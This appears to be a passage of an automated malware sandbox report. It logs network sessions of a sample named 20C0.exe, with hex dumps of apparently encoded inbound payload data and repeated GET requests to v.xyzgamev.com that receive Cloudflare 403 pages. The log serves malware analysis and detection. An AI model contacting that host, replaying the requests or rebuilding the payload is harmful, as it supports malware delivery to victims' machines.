0e 17 1c 0b 09 7f 01 1c 6a 08 00 4c 00 00 00 44 21 06 0c 0b 01 35 3f 06 07 1a 11 17 Data Ascii: 8.HFtb$:T`x9%QKGwe*<N`p4Clr`S,7=$"smKJlE+5?rKjLD!5?
2022-08-31 12:30:51 UTC	5631	IN	Data Raw: 09 1d 52 54 1c 1a 17 04 05 44 44 05 15 15 6c 07 0a 0d 07 5e 3c 01 1a 53 41 11 00 1c 05 0a 02 15 1d 06 01 4e 48 09 12 53 52 17 14 04 10 16 07 11 01 44 54 1c 0d 45 72 27 1b 1a 1d 04 08 45 54 1b 4f 54 11 17 1f 04 07 0f 15 11 45 49 1d 54 49 07 4e 41 0f 4e 55 1b 1b 06 06 14 0d 4c 57 16 18 57 24 5a 3c 09 04 12 16 45 43 0c 01 1a 15 02 17 54 54 1c 0d 45 41 11 00 1c 05 0a 02 15 1d 06 01 49 54 53 53 06 05 00 1f 1d 06 54 54 11 04 0c 4d 46 09 1d 52 4d 02 1d 17 45 49 07 08 09 1d 1f 0c 15 1d 06 01 40 23 07 0a 00 00 52 64 06 00 09 34 07 27 0d 4e 01 1b 54 45 0b 01 1a 12 0f 48 53 03 11 02 06 45 46 09 1d 52 45 0b 18 1f 1b 1d 01 03 08 0b 1a 79 07 0a 52 64 06 00 08 35 07 27 0d 4e 01 1b 54 45 0b 01 1a 12 0f 48 53 03 11 02 06 45 46 09 1d 52 41 13 15 12 18 08 0b 1a 07 7e 07 0a Data Ascii: RTDDl^<SANHSRDTEr'ETOTEITINANULWW$Z<ECTTEAITSSTTMFRMEI@#Rd4'NTEHSEFREyRd5'NTEHSEFRA~
2022-08-31 12:30:51 UTC	5633	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 68 28 28 28 28 28 28 28 28 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 48 48 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 84 84 84 84 84 84 84 84 84 84 84 84 84 84 84 84 84 84 84 84 10 10 10 10 10 10 10 10 10 10 10 10 10 10 81 80 80 80 80 80 80 80 80 80 80 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: hh(((((((( HH
2022-08-31 12:30:51 UTC	5634	IN	Data Raw: 01 03 01 07 01 03 01 0f 01 03 01 07 01 03 01 b7 00 72 57 00 57 49 00 73 00 00 00 64 00 00 00 48 0c 6d 00 00 00 6d 44 00 48 0c 59 00 00 00 79 4d 00 62 4b 00 4b 56 00 79 00 00 00 50 1d 4d 00 41 0c 4d 00 44 21 06 06 08 0f 07 17 72 00 00 00 4e 21 19 13 08 0f 07 17 72 00 00 00 4f 2c 17 1b 0d 07 17 72 53 36 15 04 11 08 0f 07 17 72 00 00 41 34 12 12 06 07 74 00 4a 3f 19 15 79 00 00 00 4a 3f 1b 0b 65 00 00 00 41 31 02 1b 05 6c 00 00 4d 2c 13 11 0b 68 00 00 46 23 07 10 07 14 13 0b 79 00 00 00 4a 2b 0f 1b 14 13 0b 79 44 21 06 63 4e 21 19 76 4f 2c 17 74 53 36 15 70 41 34 12 67 4a 3f 19 6c 4a 3f 1b 6e 4d 2c 18 79 41 31 02 72 4d 2c 13 72 46 23 07 62 4a 2b 0f 6e 53 32 15 01 07 16 05 18 79 00 00 00 46 34 1b 0d 05 18 79 00 54 3c 1d 07 01 17 05 18 79 00 00 00 57 32 01 0a Data Ascii: rWWIsdHmmDHYyMbKKVyPMAMD!rN!rO,rS6rA4tJ?yJ?eA1lM,hF#yJ+yD!cN!vO,tS6pA4gJ?lJ?nM,yA1rM,rF#bJ+nS2yF4yT<yW2
2022-08-31 12:30:51 UTC	5635	IN	Data Raw: 99 00 54 cd 99 00 60 f9 99 00 78 e1 99 00 90 09 99 00 a0 39 99 00 bc 25 99 00 c8 51 99 00 d2 4b 99 00 de 47 99 00 ee 77 99 00 fc 65 99 00 08 92 9a 00 14 8e 9a 00 2a b0 9a 00 3c a6 9a 00 4e d4 9a 00 60 fa 9a 00 70 ea 9a 00 00 00 00 00 55 57 4e 23 0e 05 28 25 0b 10 13 13 0b 2e 57 00 a0 a1 46 22 11 24 22 1d 0c 22 25 00 16 17 16 00 73 00 4b 0e 17 1c 0b 09 7f 01 1c 4a 08 00 6c 00 46 47 46 22 11 37 36 07 00 17 0b 1a 20 3c 1a 17 04 05 2d 2d 64 00 10 11 46 22 11 37 2c 02 00 0c 0f 0a 28 25 07 0b 24 41 16 14 4a 2d 04 11 36 34 17 00 65 00 e9 e8 46 22 11 22 33 17 01 1a 06 01 2b 3d 39 41 10 12 4a 2d 04 11 31 2d 00 03 0c 63 a3 a2 46 22 11 24 22 1d 0c 06 16 00 3b 2d 04 11 70 00 5e 5d 57 31 17 1f 04 07 0f 15 11 35 22 1d 0c 06 16 00 73 00 42 43 46 22 11 37 36 07 00 17 0b Data Ascii: T`x9%QKGwe*<N`pUWN#(%.WF"$""%sKJlFGF"76 <--dF"7,(%$AJ-64eF""3+=9AJ-1-cF"$";-p^]W15"sBCF"76
2022-08-31 12:30:51 UTC	5637	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-31 12:30:51 UTC	5638	IN	Data Raw: 91 91 00 c0 c8 08 00 00 00 00 00 00 92 92 00 c0 c8 08 00 00 00 00 00 00 93 93 00 c0 c8 08 00 00 00 00 00 00 03 03 00 00 07 07 00 00 78 78 00 00 0a 0a 00 00 02 02 00 00 d8 5e 86 10 18 08 00 00 ac 2a 86 10 19 09 00 00 80 06 86 10 1a 0a 00 00 e8 6d 85 10 00 10 00 00 bc 39 85 10 01 11 00 00 8c 09 85 10 02 12 00 00 68 ed 85 10 03 13 00 00 3c b9 85 10 08 18 00 00 04 81 85 10 09 19 00 00 dc 58 84 10 0a 1a 00 00 a4 20 84 10 0b 1b 00 00 6c e8 84 10 0c 1c 00 00 44 c0 84 10 0e 1e 00 00 24 a0 84 10 0f 1f 00 00 c0 43 83 10 30 20 00 00 88 0b 83 10 31 21 00 00 90 12 82 10 32 22 00 00 f0 71 81 10 68 78 00 00 e0 61 81 10 69 79 00 00 d0 51 81 10 6a 7a 00 00 c0 41 81 10 ec fc 00 00 bc 3d 81 10 ef ff 00 00 ac 2d 81 10 10 00 00 00 01 01 00 00 00 00 00 00 01 01 00 00 00 00 00 Data Ascii: xx^*m9h<X lD$C0 1!2"qhxaiyQjzA=-
2022-08-31 12:30:51 UTC	5639	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 03 01 07 01 03 01 0f 01 03 01 07 01 03 01 1f 01 03 01 07 01 03 01 0f 01 03 7a 00 00 00 00 00 41 03 01 07 01 03 01 0f 01 03 01 07 01 03 01 1f 01 03 01 07 01 03 01 0f 01 03 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: azAZ
2022-08-31 12:30:51 UTC	5641	IN	Data Raw: b6 10 6f 00 00 00 00 00 00 00 5f 8b ab 10 ee 01 00 00 fe 01 00 00 2e 2e 00 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 25 96 8a 19 00 00 00 00 00 00 00 00 00 00 00 80 f0 70 00 01 01 00 00 f0 01 0e 00 ff 00 00 00 50 03 07 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 14 10 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 3b ab 10 c0 7b ab 10 ef 00 00 00 ff 00 00 00 00 00 00 00 ff 00 00 00 ff 00 00 00 00 00 00 00 ff 00 00 00 e1 1e 00 00 3b 3b 00 00 5a 5a 00 00 78 78 00 00 97 Data Ascii: o_.. %pPTPT;{;;ZZxx
2022-08-31 12:30:51 UTC	5642	IN	Data Raw: 00 00 00 00 00 00 00 00 00 04 04 00 00 00 00 01 01 09 0d 04 00 d8 d8 00 00 e8 28 c0 00 a8 8d 25 00 00 00 00 00 00 00 00 00 90 76 e6 00 14 14 00 00 00 00 00 00 00 00 00 00 a4 42 e6 00 56 56 00 00 e4 e0 04 00 00 00 00 00 28 28 00 00 30 30 00 00 60 60 00 00 01 01 20 20 00 00 00 00 80 a5 25 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 00 00 0d 0d 00 00 1c 1c 00 00 1c 1c 00 00 12 12 00 00 07 07 00 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 03 00 00 0a 0a 00 00 12 12 00 Data Ascii: (%vBVV((00`` %
2022-08-31 12:30:51 UTC	5643	IN	Data Raw: ba 00 00 b2 c7 00 8c 43 e3 00 e3 00 e3 00 e3 00 e0 00 eb 0b d5 00 ed 38 e5 00 e5 00 e6 00 e6 00 e6 00 e6 00 e7 00 e7 00 e8 00 e8 00 db 00 f7 2c e9 00 e9 00 ea 00 ea 00 ea 00 ea 00 c3 00 b9 7a dc 00 00 f2 d1 00 00 88 88 00 00 3c 3c 00 00 0a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6f 00 00 90 29 00 00 29 29 00 00 29 29 00 00 29 29 00 00 29 1f 00 00 1f 00 00 00 00 0c 09 04 01 36 21 12 05 3c 25 1c 05 43 5f 1a 06 49 56 18 07 50 72 25 07 57 72 2d 08 5d 7a 2f 08 64 4e 23 09 57 72 2d 08 47 59 18 06 2d 3e 17 04 10 17 06 01 43 00 00 43 be 00 c4 7a da 00 da 00 db 00 db 00 da 00 d1 0b ba 00 2b 91 a6 00 00 a6 ce 00 8d 43 de 00 de 00 df 00 df 00 df 00 df 00 c4 00 ab 6f a6 00 00 a6 d0 00 93 43 e2 00 e2 00 e3 00 e3 00 e0 00 eb Data Ascii: C8,z<<o))))))))6!<%C_IVPr%Wr-]z/dN#Wr-GY->CCz+CoC
2022-08-31 12:30:51 UTC	5645	IN	Data Raw: 00 00 14 14 00 00 14 14 00 00 14 14 00 00 14 1e 00 00 1e 94 00 00 94 b4 00 f7 43 b6 00 b6 00 b7 00 b7 00 b7 00 b7 00 b8 00 b8 00 b7 00 9b 2c cf 00 00 ff cf 00 00 4e 4e 00 00 0f 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 72 00 00 8d 69 00 00 69 a9 00 00 a9 72 00 00 72 69 00 00 69 18 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 0c 06 02 25 34 17 06 3d 26 13 08 5f 76 23 0a 83 b4 3b 0c 8a b0 37 0d 8e b2 31 0d a7 2a f3 7e 89 00 a8 21 83 00 83 00 85 00 85 00 87 00 87 00 a6 00 c9 6f 75 00 00 75 10 00 00 10 10 00 00 10 10 00 00 10 1a 00 00 1a 10 00 00 10 10 00 00 10 1a 00 00 1a 93 00 00 93 ae 00 ed 43 a8 00 a8 00 a9 00 a9 00 ad 00 ad 00 b0 00 e9 59 dd 00 00 96 b4 00 00 3b 3b 00 00 07 07 00 00 00 Data Ascii: C,NNriirrii%4=&_v#;71*~!ouuCY;;
2022-08-31 12:30:51 UTC	5646	IN	Data Raw: 32 00 75 00 2c 59 b8 00 00 a6 f7 00 00 2f 39 00 00 0b 0b 00 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 00 00 8b 75 44 3a 0b 75 44 3a 0b 75 44 3a 0b 5d 77 24 0e 12 00 00 12 0a 00 00 0a 0c 00 00 0c 0e 00 00 0e 10 00 00 10 12 00 00 12 14 00 00 14 16 00 00 16 18 00 00 18 1a 00 00 1a 1c 00 00 1c 1e 00 00 1e 21 00 00 21 23 00 00 23 25 00 00 25 27 00 00 27 29 00 00 29 2b 00 00 2b 3e 00 00 3e 81 00 00 81 8e 00 0b 85 56 00 15 43 28 00 23 0b 20 00 20 00 20 00 20 00 22 00 22 00 3f 00 1e 21 64 00 2a 4e a2 00 3e 96 b5 00 00 da 9a 00 00 19 19 00 00 06 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 00 00 8b 70 Data Ascii: 2u,Y/9tuD:uD:uD:]w$!!##%%''))++>>VC(# ""?!d*N>tp
2022-08-31 12:30:51 UTC	5650	IN	Data Raw: 8b 8b 00 00 3d 3d 00 00 0a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 43 00 00 ea 22 00 00 70 9c 00 00 9c a4 22 f2 74 95 c7 7e 2c 8e b2 31 0d 8e b2 31 0d 8e b2 31 0d 8a b0 37 0d 84 bc 34 0c 7d 48 3e 0b 77 45 39 0b 70 5f 25 0a 69 45 26 0a 63 49 23 09 5c 7b 2f 08 56 72 2c 08 50 72 25 07 48 57 18 07 42 5e 1a 06 3c 25 1c 05 35 23 13 05 2f 3b 10 04 28 39 15 04 21 2f 0d 03 8d 04 0f 86 a0 31 19 88 67 4b 25 09 60 49 20 09 59 7f 2e 08 52 71 2b 08 4b 6b 27 07 45 58 1b 06 3d 27 1c 06 37 20 12 05 30 24 10 04 a4 05 3e 99 e9 00 00 89 99 00 00 4c 4c 00 00 13 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 65 6e 00 00 bd b7 00 00 fa e6 22 f2 74 8e b2 31 0d 8e b2 31 0d 8e b2 Data Ascii: ==C"p"t~,11174}H>wE9p_%iE&cI#\{/Vr,Pr%HWB^<%5#/;(9!/1gK%`I Y.Rq+Kk'EX='7 0$>LLFen"t11
2022-08-31 12:30:51 UTC	5654	IN	Data Raw: 24 24 5d 5d 4a 4a 44 44 b8 b8 b2 b2 a3 a3 9d 9d 89 89 fb fb f4 f4 ee ee d8 d8 d3 d3 cb cb c5 c5 3f 20 20 00 34 35 01 00 01 31 37 37 3e 3e 24 24 2c 2c 13 13 18 18 00 00 09 09 75 75 7a 7a 7f 7f 65 65 69 69 6f 6f 54 54 5a 5a 42 42 4e 4e a4 a4 af af 94 94 9f 9f 84 84 8f 8f f4 f4 e1 e1 ef ef d5 d5 c5 c5 22 23 29 29 05 05 61 61 53 53 80 80 86 86 f9 f9 c0 c0 cb cb 37 34 0b 0b 70 70 7c 7c b6 b6 bf bf ab ab 83 83 f7 f7 d4 d4 de de 25 24 54 54 5c 5c 9a 9a 80 80 e8 e8 c7 c7 06 01 51 51 43 43 fd fd fb fb c5 c5 3b 3a 04 04 0a 0a 7b 7b b2 b2 ba ba e9 e9 d2 d2 da da 34 37 3a 3a 8e 8f fc fc e4 e4 ee ee e9 e9 d1 d1 67 68 6e 6e 51 51 4b 4b b4 b4 a0 a0 9c 9c 93 93 da da 0c 0d 7f 7f 4e 4e b7 b7 a7 a7 9a 9a fb fb fe fe 68 6b 62 62 50 50 bb bb bd bd b7 b7 a7 a7 9d 9d 8a 8a 83 Data Ascii: $$]]JJDD? 45177>>$$,,uuzzeeiiooTTZZBBNN"#))aaSS74pp\|\|%$TT\\QQCC;:{{47::ghnnQQKKNNhkbbPP
2022-08-31 12:30:51 UTC	5655	IN	Data Raw: 06 08 08 70 70 7b 7b 4b 4b 9b 9b 72 73 c0 c0 2d 2e a0 a0 51 50 2d 22 77 77 50 50 57 57 4f 4f 44 44 b8 b8 bc bc 95 95 eb eb c9 c9 c0 c0 c4 c4 38 39 3d 3d 31 31 35 35 29 29 2d 2d 67 67 5d 5d 51 51 55 55 49 49 ef ef d8 d8 c5 c5 3a 39 32 32 36 36 2a 2a 0b 0b 61 61 b7 b7 ae ae a2 a2 a6 a6 9a 9a 9e 9e 92 92 96 96 8a 8a c0 c0 3a 3b 3f 3f 33 33 37 37 fa fd f0 f0 dc dc 79 78 6c 6c f4 f4 de de d1 d1 3d 70 70 00 20 20 00 00 2a 1a 77 77 41 41 9a 9a 89 89 a6 a7 99 99 2e 2d e0 e0 0f 08 7b 7b b5 b7 37 80 80 00 14 14 00 00 00 31 35 35 39 39 3d 3d 1d 1d 01 01 31 90 90 00 44 44 00 00 5c 6e 52 52 96 96 9a 9a fa fa da da 3a 3b 27 27 03 03 7f 7f 63 63 43 43 a3 a3 9f 9f 83 83 ff ff e3 e3 c3 c3 3f 38 24 24 04 04 64 64 44 44 a4 a4 84 84 e4 e4 c4 c4 38 39 25 25 35 00 00 a0 a0 00 Data Ascii: pp{{KKrs-.QP-"wwPPWWOODD89==1155))--gg]]QQUUII:92266*aa:;??3377yxll=pp wwAA.-{{715599==1DD\nRR:;''ccCC?8$$ddDD89%%5

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49743	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:01 UTC	4729	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:01 UTC	4729	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:16 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BbTQzLpyi%2FTatZ4iBAGabMGg9MOgpzKcFtP7h7gyP5IgT7omoYaOdBXU%2FDCgYI%2BH9j6%2BsNNyLTo5Hhyl875XwD8fpF%2FvUZc6K7rAHNH76LruTVTv0DcwS64RABM98OvbPg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c4f48f4f9b92-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:01 UTC	4730	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:01 UTC	4730	IN	Data Raw: 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 Data Ascii: ss" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.c
2022-08-31 12:29:01 UTC	4732	IN	Data Raw: 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 Data Ascii: ss="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from
2022-08-31 12:29:01 UTC	4733	IN	Data Raw: 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hi
2022-08-31 12:29:01 UTC	4734	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49746	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:01 UTC	4734	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:01 UTC	4734	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:16 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jwahNTFzHMrw7pZq46VOXbP2rzPpw1IemPdy0nXXcBd93L0l%2FMqrbm6eTR%2B63J5meVkC8Vfmc%2Fqz1fmUvE4K65rfZLVCBnrf%2FtyepI3EFHIT1%2BQSQrM6z7DJh%2Fo22U3IhA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c4f74f6bbb79-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:01 UTC	4735	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js 